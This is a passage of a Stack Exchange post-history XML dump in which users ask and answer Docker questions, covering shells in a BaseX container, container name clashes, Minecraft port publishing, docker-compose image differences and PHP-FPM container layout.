  <row Id="37927" PostHistoryTypeId="2" PostId="12347" RevisionGUID="7a346dbb-0285-4373-b6ad-1368fba52540" CreationDate="2020-09-04T08:28:23.713" UserId="23443" Text="Solution is to use `exec` as:&#xD;&#xA;&#xD;&#xA;    root@doge:~# &#xD;&#xA;    root@doge:~# docker run -ti     -d     --name basexhttp     --publish 1984:1984     --publish 8984:8984     --volume &quot;$(pwd)/basex/data&quot;:/srv/basex/data     basex/basexhttp:latest&#xD;&#xA;    5699af1dc04aa9c78066222e4b0b8e5621aa2ab9dd2bd46bcd87c6a0377c1960&#xD;&#xA;    root@doge:~# &#xD;&#xA;    root@doge:~# docker container list&#xD;&#xA;    CONTAINER ID        IMAGE                    COMMAND                  CREATED             STATUS              PORTS                                                      NAMES&#xD;&#xA;    5699af1dc04a        basex/basexhttp:latest   &quot;/usr/local/bin/mvn-…&quot;   33 seconds ago      Up 30 seconds       0.0.0.0:1984-&gt;1984/tcp, 0.0.0.0:8984-&gt;8984/tcp, 8985/tcp   basexhttp&#xD;&#xA;    root@doge:~# &#xD;&#xA;    root@doge:~# docker exec -ti --user root basexhttp bash&#xD;&#xA;    bash-4.4# &#xD;&#xA;    bash-4.4# whoami&#xD;&#xA;    root&#xD;&#xA;    bash-4.4# &#xD;&#xA;    bash-4.4# su basex&#xD;&#xA;    ~ $ &#xD;&#xA;    ~ $ whoami&#xD;&#xA;    basex&#xD;&#xA;    ~ $ &#xD;&#xA;    ~ $ exit&#xD;&#xA;    bash-4.4# exit&#xD;&#xA;    exit&#xD;&#xA;    root@doge:~# &#xD;&#xA;    root@doge:~# docker container list&#xD;&#xA;    CONTAINER ID        IMAGE                    COMMAND                  CREATED              STATUS              PORTS                                                      NAMES&#xD;&#xA;    5699af1dc04a        basex/basexhttp:latest   &quot;/usr/local/bin/mvn-…&quot;   About a minute ago   Up About a minute   0.0.0.0:1984-&gt;1984/tcp, 0.0.0.0:8984-&gt;8984/tcp, 8985/tcp   basexhttp&#xD;&#xA;    root@doge:~# &#xD;&#xA;    root@doge:~# docker ps -a&#xD;&#xA;    CONTAINER ID        IMAGE                    COMMAND                  CREATED              STATUS              PORTS                                                      NAMES&#xD;&#xA;    5699af1dc04a        basex/basexhttp:latest   &quot;/usr/local/bin/mvn-…&quot;   About a minute ago   Up About a minute   0.0.0.0:1984-&gt;1984/tcp, 0.0.0.0:8984-&gt;8984/tcp, 8985/tcp   basexhttp&#xD;&#xA;    root@doge:~# &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37934" PostHistoryTypeId="2" PostId="12349" RevisionGUID="aae6ced9-fd31-4ab6-9c47-da9b07a80a25" CreationDate="2020-09-04T12:44:15.573" UserId="7730" Text="You're attempting to create two different containers, each with the same name. Each time you execute `docker run` it will create a container, and you've named the containers the same with `--name basexhttp`. These names must be unique, even among stopped containers. To delete an unneeded container, you can stop and remove it with:&#xD;&#xA;&#xD;&#xA;    docker container stop basexhttp&#xD;&#xA;    docker container rm basexhttp&#xD;&#xA;&#xD;&#xA;(Note that `docker stop` and `docker rm` also work, but it's easier to read and understand the more verbose syntax)&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37938" PostHistoryTypeId="2" PostId="12351" RevisionGUID="55ff5e55-d1eb-40f7-b56f-4d5a5d0f446d" CreationDate="2020-09-04T14:10:11.127" UserId="23771" Text="For RDS, the simplest would probably be to have a template RDS snapshot that you create instances off of, just like you would an AMI.&#xD;&#xA;&#xD;&#xA;However if later updates to the database structure will be frequent/complex enough that the added complexity of a CD migration tool will be worthwhile, then you may be better off starting with that for the initial deployment as well. I don't know how mature they are in the postgres world, but https://dbmstools.com/categories/version-control-tools/postgresql might be a good place to start." ContentLicense="CC BY-SA 4.0" />
  <row Id="37939" PostHistoryTypeId="2" PostId="12352" RevisionGUID="4140a9ea-ebd7-4723-8d80-e9f272082381" CreationDate="2020-09-04T15:39:04.313" UserDisplayName="user23588" Text="First of all, `--link` is deprecated. &#xA;&#xA;Secondly, you don't need the daemon logs, instead you need to take a look at what the comtainer's log is saying. &#xA;```&#xA;docker logs &lt;container name/id&gt;&#xA;```&#xA;Once you have that, you'll need to work your way up in fixing whatever the issue there might be. This isn't `docker` related.&#xA;&#xA;The first error message states that you're trying to link to a nonexistent container, and the second error pops up because even though the container isn't running (or failed), it's still there, and you can't use the same name for two containers. You need to remove the previous one using `docker rm &lt;container name/id&gt;`.&#xA;&#xA;---&#xA;&gt; how do I now make it run something which doesn't immediately exit?&#xA;&#xA;You do that using the `--entrypoint` flag, like the following&#xA;```&#xA;docker run -ti --entrypoint bash nginx:latest&#xA;```&#xA;This won't start the nginx daemon, instead you'll be put into a bash prompt. &#xA;&#xA;Make sure you're using the `-ti` flag if you want to use something like bash/ash, i.e. an interactive tty. " ContentLicense="CC BY-SA 4.0" />
  <row Id="37940" PostHistoryTypeId="5" PostId="12352" RevisionGUID="fa4f5ed9-8ab6-40ce-8549-0a5f565e91ff" CreationDate="2020-09-04T15:44:05.607" UserDisplayName="user23588" Comment="edited body" Text="First of all, `--link` is deprecated. &#xA;&#xA;Secondly, you don't need the daemon logs, instead you need to take a look at what the container's logs are saying&#xA;```&#xA;docker logs &lt;container name/id&gt;&#xA;```&#xA;Once you have that, you'll need to work your way up in fixing whatever the issue there might be. This isn't `docker` related.&#xA;&#xA;The first error message states that you're trying to link to a nonexistent container, and the second error pops up because even though the container isn't running (or failed), it's still there, and you can't use the same name for two containers. You need to remove the previous one using `docker rm &lt;container name/id&gt;`.&#xA;&#xA;---&#xA;&gt; how do I now make it run something which doesn't immediately exit?&#xA;&#xA;You do that using the `--entrypoint` flag, like the following&#xA;```&#xA;docker run -ti --entrypoint bash nginx:latest&#xA;```&#xA;This won't start the nginx daemon, instead you'll be put into a bash prompt. &#xA;&#xA;Make sure you're using the `-ti` flag if you want to use something like bash/ash, i.e. an interactive tty. " ContentLicense="CC BY-SA 4.0" />
  <row Id="37941" PostHistoryTypeId="6" PostId="12340" RevisionGUID="961cf393-6c85-4683-afbe-77d8b3d9c6d7" CreationDate="2020-09-04T17:02:56.173" UserDisplayName="user23588" Comment="Unnecessary tags removed." Text="&lt;docker&gt;&lt;containers&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37942" PostHistoryTypeId="24" PostId="12340" RevisionGUID="961cf393-6c85-4683-afbe-77d8b3d9c6d7" CreationDate="2020-09-04T17:02:56.173" Comment="Proposed by 23588 approved by 40 edit id of 1271" ContentLicense="CC BY-SA 4.0" />
  <row Id="37946" PostHistoryTypeId="2" PostId="12354" RevisionGUID="034d0750-5a2d-43d6-a83d-2d3b400c4b3e" CreationDate="2020-09-04T19:29:48.203" UserId="12864" Text="The proper way to run this image, according to the README, is:&#xD;&#xA;&#xD;&#xA;    docker run -d \&#xD;&#xA;        --name basexhttp \&#xD;&#xA;        --publish 1984:1984 \&#xD;&#xA;        --publish 8984:8984 \&#xD;&#xA;        --volume &quot;$HOME/basex/data&quot;:/srv/basex/data \&#xD;&#xA;        --volume &quot;$HOME/basex/repo&quot;:/srv/basex/repo \&#xD;&#xA;        --volume &quot;$HOME/basex/webapp&quot;:/srv/basex/webapp \&#xD;&#xA;        basex/basexhttp:latest&#xD;&#xA;&#xD;&#xA;No weird linking to itself is necessary.&#xD;&#xA;&#xD;&#xA;If you wan to run a shell in an already running container (started as above) use:&#xD;&#xA;&#xD;&#xA;    docker exec -it basexhttp sh&#xD;&#xA;&#xD;&#xA;or you can try bash&#xD;&#xA;&#xD;&#xA;    docker exec -it basexhttp bash&#xD;&#xA;&#xD;&#xA;but the container is Alpine-based, so bash might not be installed.&#xD;&#xA;&#xD;&#xA;If you want to run a new container and execute shell inside run&#xD;&#xA;&#xD;&#xA;    docker run -it --rm basexhttp sh &#xD;&#xA;    # or bash if it's installed&#xD;&#xA;    docker run -it --rm basexhttp bash&#xD;&#xA;&#xD;&#xA;The above will remove the container once you exit bash (but the 3 volumes it creates&#xD;&#xA;will remain, you need to find and remove those by yourself)." ContentLicense="CC BY-SA 4.0" />
  <row Id="37947" PostHistoryTypeId="2" PostId="12355" RevisionGUID="93227535-1557-49ec-bfe4-40384da65359" CreationDate="2020-09-04T20:40:32.733" UserId="12864" Text="Whoever created `basex/basexhttp:latest` does not seem to know Docker very well. They copied files necessary to a directory that was later configured as a volume, **which means it can only be bound to an anonymous volume, otherwise files inside will be removed**. They left source code inside the image, they used a single stage build with `maven:3-jdk-8-alpine` as base image, which means the final image has many unnecesary things installed. They left the entrypoint from the base image intact, which I guess is why they needed to create an empty `/srv/.m2` directory and set it as Maven config dir for the image to start. It switches user from `root` to `basex`, which causes permission problems with bind mounts. Generally it's a mess.&#xD;&#xA;&#xD;&#xA;I see two ways to successfully run this image:&#xD;&#xA;&#xD;&#xA;First:&#xD;&#xA;&#xD;&#xA;    docker run -d \&#xD;&#xA;        --name basexhttp \&#xD;&#xA;        --publish 1984:1984 \&#xD;&#xA;        --publish 8984:8984 \&#xD;&#xA;    	--entrypoint &quot;&quot; \&#xD;&#xA;        basex/basexhttp:latest /usr/local/bin/basexhttp &#xD;&#xA;&#xD;&#xA;This uses only anonymous volumes and clears that unnecessary entrypoint.&#xD;&#xA;&#xD;&#xA;You can stop it with `docker stop basexhttp` and then remove it with `docker rm -v basexhttp`. That `-v` is important - it removes the volumes - unless you memorize their very long IDs and which was mounted which you won't be able to reuse them anyway, so you may as well remove them from your system.&#xD;&#xA;&#xD;&#xA;Second:&#xD;&#xA;&#xD;&#xA;    mkdir -p $HOME/basex/data&#xD;&#xA;    mkdir -p $HOME/basex/repo&#xD;&#xA;    mkdir -p $HOME/basex/webapp&#xD;&#xA;    chmod a+w basex&#xD;&#xA;    sudo chown -R 1984:1984 $HOME/basex&#xD;&#xA;    docker run -d \&#xD;&#xA;        --name basexhttp \&#xD;&#xA;        --publish 1984:1984 \&#xD;&#xA;        --publish 8984:8984 \&#xD;&#xA;        --volume &quot;$HOME/basex/data&quot;:/srv/basex/data \&#xD;&#xA;        --volume &quot;$HOME/basex/repo&quot;:/srv/basex/repo \&#xD;&#xA;        --volume &quot;$HOME/basex/webapp&quot;:/srv/basex/webapp \&#xD;&#xA;    	--entrypoint &quot;&quot; \&#xD;&#xA;        basex/basexhttp:latest bash -c &quot;cp -r /usr/src/basex/basex-api/src/main/webapp/WEB-INF /srv/basex/webapp &amp;&amp; exec /usr/local/bin/basexhttp&quot;&#xD;&#xA;&#xD;&#xA;This creates the necessary directories and sets their permissions so that both your user on the host and user.&#xD;&#xA;&#xD;&#xA;You can stop it as in the previous example and remove with `docker rm basexhttp`. This time `-v` is not necessary, as there are no anonymous volumes.&#xD;&#xA;&#xD;&#xA;You can verify that the contaienr is running correctly by executing:&#xD;&#xA;&#xD;&#xA;    docker exec -ti basexhttp basexclient&#xD;&#xA;&#xD;&#xA;Username and password are both admin." ContentLicense="CC BY-SA 4.0" />
  <row Id="37950" PostHistoryTypeId="2" PostId="12356" RevisionGUID="19763570-e89c-4898-8dd4-5234e1792e15" CreationDate="2020-09-05T00:47:16.520" UserId="23443" Text="After random stumbling, this works:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker run -ti -d \&#xD;&#xA;    &gt;     --name basexhttp \&#xD;&#xA;    &gt;     --publish 1984:1984 \&#xD;&#xA;    &gt;     --publish 8984:8984 \&#xD;&#xA;    &gt;     --volume &quot;$(pwd)/basex/data&quot;:/srv/basex/data \&#xD;&#xA;    &gt;     basex/basexhttp:latest&#xD;&#xA;    0cbd60aa6261c7e43646f675765e2dbf38fbfd57f641ca87dc6f6b8cd4fd36e0&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker exec -ti \&#xD;&#xA;    &gt; --user root \&#xD;&#xA;    &gt; basexhttp \&#xD;&#xA;    &gt; bash&#xD;&#xA;    bash-4.4# &#xD;&#xA;    bash-4.4# whoami&#xD;&#xA;    root&#xD;&#xA;    bash-4.4# &#xD;&#xA;    bash-4.4# pwd&#xD;&#xA;    /srv&#xD;&#xA;    bash-4.4# &#xD;&#xA;    bash-4.4# ls&#xD;&#xA;    basex&#xD;&#xA;    bash-4.4# &#xD;&#xA;    bash-4.4# exit&#xD;&#xA;    exit&#xD;&#xA;    root $ &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I'll go through the answers more thoroughly, but thanks to all." ContentLicense="CC BY-SA 4.0" />
  <row Id="37951" PostHistoryTypeId="12" PostId="12347" RevisionGUID="74ed69ed-d148-4a44-9093-6d7570f5637a" CreationDate="2020-09-05T00:50:25.170" UserId="23443" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:23443,&quot;DisplayName&quot;:&quot;Nicholas Saunders&quot;}]}" />
  <row Id="37952" PostHistoryTypeId="13" PostId="12347" RevisionGUID="a363a99d-0f42-45a3-98fa-0ac3305b3836" CreationDate="2020-09-05T00:50:37.873" UserId="23443" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:23443,&quot;DisplayName&quot;:&quot;Nicholas Saunders&quot;}]}" />
  <row Id="37954" PostHistoryTypeId="2" PostId="12357" RevisionGUID="f55037aa-f49d-4864-85d6-86f6e228aba9" CreationDate="2020-09-05T08:48:42.583" UserId="9952" Text="So I have this Dockerfile:&#xD;&#xA;&#xD;&#xA;    FROM openjdk:8u212-jre-alpine&#xD;&#xA;    &#xD;&#xA;    LABEL maintainer &quot;cowboy_patrick&quot;&#xD;&#xA;    &#xD;&#xA;    RUN apk add --no-cache -U \&#xD;&#xA;      openssl \&#xD;&#xA;      imagemagick \&#xD;&#xA;      lsof \&#xD;&#xA;      su-exec \&#xD;&#xA;      shadow \&#xD;&#xA;      bash \&#xD;&#xA;      curl iputils wget \&#xD;&#xA;      git \&#xD;&#xA;      jq \&#xD;&#xA;      python \&#xD;&#xA;      tzdata \&#xD;&#xA;      rsync \&#xD;&#xA;      nano \&#xD;&#xA;      sudo \&#xD;&#xA;      knock \&#xD;&#xA;      ttf-dejavu&#xD;&#xA;      &#xD;&#xA;    EXPOSE 25565 25565&#xD;&#xA;    &#xD;&#xA;    COPY minecraft /root/minecraft&#xD;&#xA;    WORKDIR /root/minecraft&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    RUN chmod +x /root/minecraft/start_minecraft.sh&#xD;&#xA;    &#xD;&#xA;    CMD /root/minecraft/start_minecraft.sh&#xD;&#xA;&#xD;&#xA;This just copies an existing world into an alpine with java and executes some prewritten scripts, I had written for running it on a vps (doing automatic backups etc.)&#xD;&#xA;&#xD;&#xA;When I execute it with &#xD;&#xA;&#xD;&#xA;&gt; docker run --network host -p 25565:25565 --name mcs mcserver&#xD;&#xA;&#xD;&#xA;I can see the following in the container-dashboard:&#xD;&#xA;[![port forwarded][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For good measures you can see my console-output [here][2] but it's pretty standard. Just a minecraft-server that boots up.&#xD;&#xA;&#xD;&#xA;The only thing I don't understand is why the connection gets refused when I try to join localhost:25565:&#xD;&#xA;[![connection refused][3]][3]&#xD;&#xA;&#xD;&#xA;Does anyone have an idea on how I can allow this connection? And in extent allow connections from outside my machine (assuming that port-formwarding and everything works).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/TMjuy.png&#xD;&#xA;  [2]: https://pastebin.pl/view/b13594bd&#xD;&#xA;  [3]: https://i.stack.imgur.com/vP5Ih.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="37955" PostHistoryTypeId="1" PostId="12357" RevisionGUID="f55037aa-f49d-4864-85d6-86f6e228aba9" CreationDate="2020-09-05T08:48:42.583" UserId="9952" Text="Minecraft docker-container refuses connection" ContentLicense="CC BY-SA 4.0" />
  <row Id="37956" PostHistoryTypeId="3" PostId="12357" RevisionGUID="f55037aa-f49d-4864-85d6-86f6e228aba9" CreationDate="2020-09-05T08:48:42.583" UserId="9952" Text="&lt;docker&gt;&lt;dockerfile&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37957" PostHistoryTypeId="50" PostId="5144" RevisionGUID="f479128d-7f4e-4b8c-a047-b19914694431" CreationDate="2020-09-05T09:04:25.483" UserId="-1" />
  <row Id="37958" PostHistoryTypeId="50" PostId="11765" RevisionGUID="d3693ebf-ef00-4c23-b198-a48e3592234a" CreationDate="2020-09-05T10:03:50.460" UserId="-1" />
  <row Id="37959" PostHistoryTypeId="50" PostId="10060" RevisionGUID="228b4e33-697a-454a-a578-5bbc405a8e3b" CreationDate="2020-09-05T11:00:20.050" UserId="-1" />
  <row Id="37960" PostHistoryTypeId="5" PostId="12354" RevisionGUID="d923a8c3-bfde-40c2-aaae-ce5c9bd96af4" CreationDate="2020-09-05T12:28:47.377" UserId="12864" Comment="added 265 characters in body" Text="The proper way to run this image, according to the README, is:&#xD;&#xA;&#xD;&#xA;    docker run -d \&#xD;&#xA;        --name basexhttp \&#xD;&#xA;        --publish 1984:1984 \&#xD;&#xA;        --publish 8984:8984 \&#xD;&#xA;        --volume &quot;$HOME/basex/data&quot;:/srv/basex/data \&#xD;&#xA;        --volume &quot;$HOME/basex/repo&quot;:/srv/basex/repo \&#xD;&#xA;        --volume &quot;$HOME/basex/webapp&quot;:/srv/basex/webapp \&#xD;&#xA;        basex/basexhttp:latest&#xD;&#xA;&#xD;&#xA;No weird linking to itself is necessary.&#xD;&#xA;&#xD;&#xA;If you wan to run a shell in an already running container (started as above) use:&#xD;&#xA;&#xD;&#xA;    docker exec -it basexhttp sh&#xD;&#xA;&#xD;&#xA;or you can try bash&#xD;&#xA;&#xD;&#xA;    docker exec -it basexhttp bash&#xD;&#xA;&#xD;&#xA;but the container is Alpine-based, so bash might not be installed.&#xD;&#xA;&#xD;&#xA;If you want to run a new container and execute shell inside run&#xD;&#xA;&#xD;&#xA;    docker run -it --rm basexhttp sh &#xD;&#xA;    # or bash if it's installed&#xD;&#xA;    docker run -it --rm basexhttp bash&#xD;&#xA;&#xD;&#xA;The above will remove the container once you exit bash (but the 3 volumes it creates&#xD;&#xA;will remain, you need to find and remove those by yourself).&#xD;&#xA;&#xD;&#xA;Edit:&#xD;&#xA;&#xD;&#xA;It seems README is wrong about how to start the container. See my [answer][1] to this question for more details.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/12338/cannot-get-bash-prompt-error-response-from-daemon-container-foo-is-not-running" ContentLicense="CC BY-SA 4.0" />
  <row Id="37961" PostHistoryTypeId="2" PostId="12358" RevisionGUID="b91302b8-294d-49bf-8598-cf8214c89d72" CreationDate="2020-09-06T05:19:55.220" UserId="9952" Text="The comment from [Konrad Botor][1] got me the idea that there are known issues on just the windows docker version. So I googled for it and in fact there are some differences! Using -P or --publish 25565:25565 worked for me. Read more [here][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/users/12864/konrad-botor&#xD;&#xA;  [2]: https://docs.docker.com/docker-for-windows/networking/" ContentLicense="CC BY-SA 4.0" />
  <row Id="37962" PostHistoryTypeId="2" PostId="12359" RevisionGUID="e2e6c6bb-f4e2-4bf6-9459-ad77c0d7ca04" CreationDate="2020-09-06T05:29:14.390" UserId="23830" Text="I have just started exploring Docker and am having trouble with docker commit/-compose.&#xD;&#xA;&#xD;&#xA;I have copied a file into /root/.guacamole/lib (in the container) and then created an image using docker commit.&#xD;&#xA;&#xD;&#xA;An `ls` of the relevant path in the container using&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    docker run -it --name=&quot;name&quot; image bash&#xD;&#xA;&#xD;&#xA;confirms that the file exists, but when the following docker-compose file sets up the container, the file is missing, even though it reports using the same image.&#xD;&#xA;&#xD;&#xA;Any idea why that should be?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;    $ cat docker-compose.yml&#xD;&#xA;    version: &quot;2&quot;&#xD;&#xA;    services:&#xD;&#xA;      guacd:&#xD;&#xA;        image: &quot;guacamole/guacd&quot;&#xD;&#xA;        container_name: guacd&#xD;&#xA;        hostname: guacd&#xD;&#xA;        restart: always&#xD;&#xA;        volumes:&#xD;&#xA;          - &quot;/data/shared/guacamole/guacd/data:/data&quot;&#xD;&#xA;          - &quot;/data/shared/guacamole/guacd/conf:/conf:ro&quot;&#xD;&#xA;        expose:&#xD;&#xA;          - &quot;4822&quot;&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;4822:4822&quot;&#xD;&#xA;        network_mode: bridge&#xD;&#xA;    &#xD;&#xA;      guac2:&#xD;&#xA;        image: &quot;guac2&quot;&#xD;&#xA;        container_name: guac2&#xD;&#xA;        hostname: guac2&#xD;&#xA;        restart: always&#xD;&#xA;        volumes:&#xD;&#xA;          - &quot;/data/shared/guacamole/guacamole/guac-home:/data&quot;&#xD;&#xA;          - &quot;/data/shared/guacamole/guacamole/conf:/conf:ro&quot;&#xD;&#xA;        expose:&#xD;&#xA;          - &quot;8080&quot;&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;8084:8080&quot;&#xD;&#xA;        network_mode: bridge&#xD;&#xA;        environment:&#xD;&#xA;          - &quot;GUACD_HOSTNAME=pc.lan&quot;&#xD;&#xA;          - &quot;GUACD_PORT=4822&quot;&#xD;&#xA;          - &quot;MYSQL_HOSTNAME=pc.lan&quot;&#xD;&#xA;          - &quot;MYSQL_PORT=3306&quot;&#xD;&#xA;          - &quot;MYSQL_DATABASE=guacamole_db&quot;&#xD;&#xA;          - &quot;MYSQL_USER=guacamole_user&quot;&#xD;&#xA;          - &quot;MYSQL_PASSWORD=password&quot;&#xD;&#xA;          - &quot;GUACAMOLE_HOME=/data&quot;&#xD;&#xA;&#xD;&#xA;Here is the terminal text:&#xD;&#xA;&#xD;&#xA;    user@pc:~$ docker run -it --name=&quot;test&quot; guac2 bash&#xD;&#xA;    root@b6dcd7dda985:/opt/guacamole# cd /root/.g*/lib&#xD;&#xA;    root@b6dcd7dda985:~/.guacamole/lib# ls&#xD;&#xA;    mariadb-java-client-2.6.2.jar  mysql-connector-java-5.1.46-bin.jar  mysql-connector-java-5.1.46.jar&#xD;&#xA;    ***[NB 3 files listed above]***&#xD;&#xA;    root@b6dcd7dda985:~/.guacamole/lib# exit&#xD;&#xA;    exit&#xD;&#xA;    user@pc:~$ docker stop test&#xD;&#xA;    test&#xD;&#xA;    user@pc:~$ docker rm test&#xD;&#xA;    test&#xD;&#xA;    user@pc:~$ docker ps -a&#xD;&#xA;    CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                    NAMES&#xD;&#xA;    ea92c2db77f6        guac2               &quot;/opt/guacamole/bin/…&quot;   51 minutes ago      Up 51 minutes       0.0.0.0:8084-&gt;8080/tcp   guac2&#xD;&#xA;    52aea98f7e2c        guacamole/guacd     &quot;/bin/sh -c '/usr/lo…&quot;   About an hour ago   Up 57 minutes       0.0.0.0:4822-&gt;4822/tcp   guacd&#xD;&#xA;    user@pc:~$ docker stop guacd&#xD;&#xA;    guacd&#xD;&#xA;    user@pc:~$ docker stop guac2&#xD;&#xA;    guac2&#xD;&#xA;    user@pc:~$ docker rm guacd&#xD;&#xA;    guacd&#xD;&#xA;    user@pc:~$ docker rm guac2&#xD;&#xA;    guac2&#xD;&#xA;    user@pc:~$ docker-compose up -d&#xD;&#xA;    Creating guac2 ... done&#xD;&#xA;    Creating guacd ... done&#xD;&#xA;    user@pc:~$ docker exec -it guac2 bash&#xD;&#xA;    root@guac2:/opt/guacamole# cd /root/.g*/lib&#xD;&#xA;    root@guac2:~/.guacamole/lib# ls&#xD;&#xA;    mysql-connector-java-5.1.46-bin.jar  mysql-connector-java-5.1.46.jar&#xD;&#xA;    ***[NB only 2 files listed above]***&#xD;&#xA;    root@guac2:~/.guacamole/lib# exit&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37963" PostHistoryTypeId="1" PostId="12359" RevisionGUID="e2e6c6bb-f4e2-4bf6-9459-ad77c0d7ca04" CreationDate="2020-09-06T05:29:14.390" UserId="23830" Text="docker run vs docker-compose - different results?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37964" PostHistoryTypeId="3" PostId="12359" RevisionGUID="e2e6c6bb-f4e2-4bf6-9459-ad77c0d7ca04" CreationDate="2020-09-06T05:29:14.390" UserId="23830" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37965" PostHistoryTypeId="2" PostId="12360" RevisionGUID="64fb0012-3346-4574-9a74-55527db3e2dc" CreationDate="2020-09-06T09:46:39.327" UserId="12864" Text="I’m glad my comment helped. I read the [article][1] OP mentioned in his answer and reread his question and I think the issue isn’t using `-p` instead of `—publish` as the two work the same, but specifying `--network host`. In Linux’s version of Docker daemon this prevents port publishing from working and since both Docker for Windows and Docker Toolbox use some sort of virtualization to run that version of Docker for Linux containers, I can only assume it has the same effect. The difference being that host in question is not Windows, but whatever Linux is running on top, so the container is completely unreachable.&#xA;&#xA;&#xA;  [1]: https://docs.docker.com/docker-for-windows/networking/" ContentLicense="CC BY-SA 4.0" />
  <row Id="37966" PostHistoryTypeId="2" PostId="12361" RevisionGUID="93dda86d-c885-4299-9b06-0b6f6fc21cbf" CreationDate="2020-09-07T03:41:55.573" UserId="9877" Text="I'm fairly new to Docker so excuse any obvious ignorance or misunderstandings. That said, I've been coding and configuring web applications for a long time now. I have recently been dabbling with some more sophisticated (Docker and &quot;traditional&quot;) web/application server setups and experimenting with performance enhancements and simplifying deployments. &#xD;&#xA;&#xD;&#xA;My personal favorite configuration to use for most projects thus far is nginx as a (mostly) &quot;static file&quot; web server &amp;&amp;|| caching mechanism &amp;&amp;|| Load Balancer in a reverse proxy config with Apache v2.4+ as the &quot;backend&quot; which runs PHP (also Perl &amp;&amp;|| Python) in a &quot;FastCGI&quot; (PHP-FPM) configuration (with mod_php disabled) and mpm_events (instead of mpm_prefork). We can always add in something else also such as REDIS or memcached, where applicable (but I rarely see a significant performance gain when using Cloudflare caching).&#xD;&#xA;&#xD;&#xA;I've been dabbling with a few different ways to keep my &quot;favorite web server composition&quot; flexible and &quot;ephemeral&quot; enough to accommodate any and all possible options for further performance gain or resource load management. What I keep seeing is that there seems to have been a shift towards using PHP-FPM in its own separate &quot;stand-alone&quot; Docker container sometimes around late 2019. &#xD;&#xA;&#xD;&#xA;Why?&#xD;&#xA;&#xD;&#xA;While I can appreciate keeping resources isolated and separate for an easier to debug/config/secure configuration(s), I don't fully understand what the benefits are to having PHP-FPM in a separate Docker container that is implicitly REQUIRED by the application that the Docker containers are comprising.&#xD;&#xA;&#xD;&#xA;If anything, having a separate PHP-FPM container seems like additional configuration, additional resource consumption and an even more complicated build/deploy consideration in a CI/CD pipeline.&#xD;&#xA;&#xD;&#xA;I can even get onboard with &quot;simple preference&quot;, such as instead of using Apache2 and nginx on the same Ubuntu/Debian or RHEL/CentOS container, break off nginx into its own container(s) and simply config your hostname(s) &amp;&amp;|| IPs and ports appropriately. &#xD;&#xA;&#xD;&#xA;But what is a practical use case and advantages for having PHP-FPM separated from Apache or nginx containers for any additional benefit beyond perhaps using more Dockerfile &amp;&amp;|| docker-compose.yaml and less ba.sh scripting to get the same job done? If any part of the application fails or falters, then functionality will suffer. The additional network &amp;&amp;|| docker-network communications and hostname resolutions seems like it would just be a performance penalty over combining certain aspects of the docker-composer-ed application together, rather than splitting them up simply for the sake of splitting them up." ContentLicense="CC BY-SA 4.0" />
  <row Id="37967" PostHistoryTypeId="1" PostId="12361" RevisionGUID="93dda86d-c885-4299-9b06-0b6f6fc21cbf" CreationDate="2020-09-07T03:41:55.573" UserId="9877" Text="What is the purpose of running PHP-FPM in its own container instead in the same container as apache2/nginx?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37968" PostHistoryTypeId="3" PostId="12361" RevisionGUID="93dda86d-c885-4299-9b06-0b6f6fc21cbf" CreationDate="2020-09-07T03:41:55.573" UserId="9877" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;nginx&gt;&lt;php&gt;&lt;apache-httpd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37969" PostHistoryTypeId="2" PostId="12362" RevisionGUID="5fe1fd43-17bd-4f18-917b-cf32f65606fb" CreationDate="2020-09-07T15:11:30.670" UserId="9877" Text="Using Apache v2.4+ with mod_php disabled, php-fpm enabled, and mpm_event (instead of default mpm_prefork) provides better performance (and tuning options, IMO) for PHP/PHP-FPM and multi-threaded processes. Using nginx as the front-end web server in a &quot;selective reverse proxy to apache2/httpd for PHP processes&quot; will still offer the added benefits of the superior static file serving, caching options + simple reverse proxy + load balancing featureset of nginx and add the superior multi threaded performance of Apache.&#xD;&#xA;&#xD;&#xA;My &quot;answer&quot; here, would be: &#xD;&#xA;I recommend using Apache v2.4+ as a backend for PHP processes with nginx as your &quot;public facing&quot; reverse-proxy. The primary concern seems to be for scalability, so I think that my suggestion would provide greater scalability and reduce resource consumption &quot;at scale&quot;, with only a minimal increase in resource consumption at idle.&#xD;&#xA;&#xD;&#xA;==============================&#xD;&#xA;This is where my curiosity kicks in (aka feeling curious, might delete later, idk):&#xD;&#xA;&#xD;&#xA;Sorry if I'm necromancing this thread here, but there is limited material and content on this subject matter of splitting off PHP-FPM into a separate container from the web server. &#xD;&#xA;&#xD;&#xA;[I've asked about this very topic here][1], and here in the OP there is a vague mention of &quot;scalability reasons&quot;. &#xD;&#xA;&#xD;&#xA;Though my &quot;answer&quot; doesn't actually answer the question proposed in the OP... This is me proposing a solution by asking: &quot;is this really the right question in the first place?&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I agree with the ultimate point @simbo1905 is trying 